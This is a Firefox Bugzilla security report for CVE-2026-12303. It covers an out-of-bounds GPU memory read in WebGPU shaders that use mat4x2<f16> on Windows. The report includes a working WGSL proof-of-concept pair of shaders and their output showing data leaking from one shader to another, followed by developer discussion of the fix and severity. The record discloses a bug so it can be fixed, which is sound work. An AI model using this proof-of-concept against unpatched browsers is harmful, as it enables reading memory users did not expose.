Closed Bug 2034608 (CVE-2026-12303) Opened 6 months ago Closed 5 months ago

[DXC] Shader with mat4x2<f16> uniform allows reading uninitialised memory within origin

Categories

(Core :: Graphics: WebGPU, defect, P1)

Product:
Core
Component:
Graphics: WebGPU
Version:
Firefox 150
Type:
defect

Tracking

()

Status:
RESOLVED FIXED
Milestone:
153 Branch
Tracking Flags:
Tracking Status
firefox-esr115 --- disabled
firefox-esr140 --- disabled
firefox151 --- wontfix
firefox152 + fixed
firefox153 + fixed

People

(Reporter: andryskowski.michal, Assigned: teoxoy)

References

Details

(4 keywords, Whiteboard: [adv-main152+])

Attachments

(1 file, 1 external file)

bug.html
10.94 KB, text/html
Details
Attached file bug.html —

User Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36

Steps to reproduce:

Run bug.html in Firefox on Windows (so that shaders are compiled to HLSL for DXC).

bug.html first runs the repro shader, which demonstrates that the mat4x2<f16> layout is incorrect. Then it runs the victim shader, which writes data to some unrelated buffer. Then it runs the repro shader again, which reveals data written by the victim shader.

I was only able to get the "repro" shaders to read data from the victim if it is within the same origin/webpage; I was not able to read data from another origin/webpage.

In the "repro" shader, u_data and out_data should both be 64 bytes each (32 f16 elements). The "repro" shader iterates through each element of u_data and writes it out to out_data. The result should be that out_data has the same contents as u_data. If u_data is set to [1, 2, 3, ..., 63, 64], then after "repro" executes, out_data should also be [1, 2, 3, ..., 63, 64].

Version

I reproduced this on three different Windows laptops, (two AMD integrated GPUs, one Intel integrated GPU) on recent versions of Firefox (149, 150, 152.0a1)

Repro shader

enable f16;

@group(0) @binding(0) var<uniform> u_data: array<mat4x2<f16>, 4>;
@group(0) @binding(1) var<storage, read_write> out_data: array<f16, 32>;

@compute @workgroup_size(1)
fn main() {
	for (var i = 0; i < 4; i++) {
		for (var j = 0; j < 4; j++) {
			for (var k = 0; k < 2; k++) {
				let idx = k + j * 2 + i * 8;
				out_data[idx] = u_data[i][j][k];
			}
		}
	}
}

Victim shader

enable f16;
                
@group(0)
@binding(0)
var<storage, read_write> v1: array<u32, 64>;

@compute
@workgroup_size(1u)
fn main() {
	for (var i = 0u; i < 64; i++) {
		v1[i] = 0xdeadbeef; // this will be seen by the repro
	}
}

Actual results:

bug.html shows the following output on Firefox:

script finished successfully.

Buffer contents below:

[repro] u_data input: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64]

[repro] out_data input: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

[repro] running...

[repro] out_data output: [1, 2, 3, 4, 17, 18, 19, 20, 33, 34, 35, 36, 49, 50, 51, 52, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

============================

[victim] v1 input: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

[victim] running...

[victim] v1 output: [239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222]

============================

[repro] u_data input: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64]

[repro] out_data input: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

[repro] running...

[repro] out_data output: [1, 2, 3, 4, 17, 18, 19, 20, 33, 34, 35, 36, 49, 50, 51, 52, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222]

============================

Expected results:

bug.html shows the following output on Chrome:

script finished successfully.

Buffer contents below:

[repro] u_data input: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64]

[repro] out_data input: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

[repro] running...

[repro] out_data output: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64]

============================

[victim] v1 input: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

[victim] running...

[victim] v1 output: [239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222, 239, 190, 173, 222]

============================

[repro] u_data input: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64]

[repro] out_data input: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]

[repro] running...

[repro] out_data output: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64]

============================
Group: core-security → gfx-core-security

This looks interesting. Whether or not we can read from other origins, we shouldn't be doing out-of-bounds reads at all, that's asking for trouble.

Severity: -- → S3
Priority: -- → P1

The issue was that our special handling of matrices of the form matCx2 ignored matrices with an inner type of f16. HLSL does OOB checks for its cbuffer types but in this case the type that was declared in the shader was much larger than the buffer binding.

I put up a fix upstream: https://github.com/gfx-rs/wgpu/pull/9507.

Assignee: nobody → ttanasoaia
Status: UNCONFIRMED → ASSIGNED
Ever confirmed: true
Depends on: webgpu-update-wgpu
Depends on: 2042510
No longer depends on: webgpu-update-wgpu

Is this fixed now by way of bug 2042510?

Flags: needinfo?(ttanasoaia)

Also, a security severity rating for this bug would be appreciated.

status-firefox151: --- → wontfix
status-firefox152: --- → affected
status-firefox153: --- → affected
status-firefox-esr115: --- → disabled
status-firefox-esr140: --- → disabled

Yes this is fixed, I checked in nightly. The bug is of type OOB read.

Flags: needinfo?(ttanasoaia)
Status: ASSIGNED → RESOLVED
Closed: 5 months ago
Resolution: --- → FIXED

A severity rating would still be helpful so we can assess whatever backport needs we have.

Group: gfx-core-security → core-security-release
status-firefox153: affected → fixed
Flags: needinfo?(ttanasoaia)
Target Milestone: --- → 153 Branch

I'm not sure what severity rating it should have, could someone from the security team assess the severity?

The bug is an OOB read of GPU memory. Different origins will create different devices each with different GPU heaps but I don't think there is anything stopping the GPU from reading past a heap and into the next (if 2 heaps happen to be next to each other). So, I think it's possible but not proven that cross origin GPU data can be read.

Flags: needinfo?(ttanasoaia) → needinfo?(dveditz)
Attached file (secure) —
Attachment #9592304 - Flags: approval-mozilla-beta?

firefox-beta Uplift Approval Request

  • User impact if declined/Reason for urgency: Security fixes.
  • Code covered by automated testing?: yes
  • Fix verified in Nightly?: yes
  • Needs manual QE testing?: no
  • Steps to reproduce for manual QE testing:
  • Risk associated with taking this patch: low
  • Explanation of risk level: Localized changes relatively safe within the scope of WebGPU and very unlikely to affect anything outside it.
  • String changes made/needed?: n/a
  • Is Android affected?: no

I requested beta uplift. My understanding is CPU OOB read is classified as sec-high and would warrant an uplift. This is GPU OOB read by a shader, which is slightly more constrained. To me, the fix seems low enough risk that it should be uplifted, however Teo might have a different assessment of the risk level.

Attachment #9592304 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Flags: needinfo?(dveditz)
Keywords: sec-moderate
QA Whiteboard: [sec] [uplift] [qa-triage-done-c153/b152]
Whiteboard: [adv-main152+]
Alias: CVE-2026-12303
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: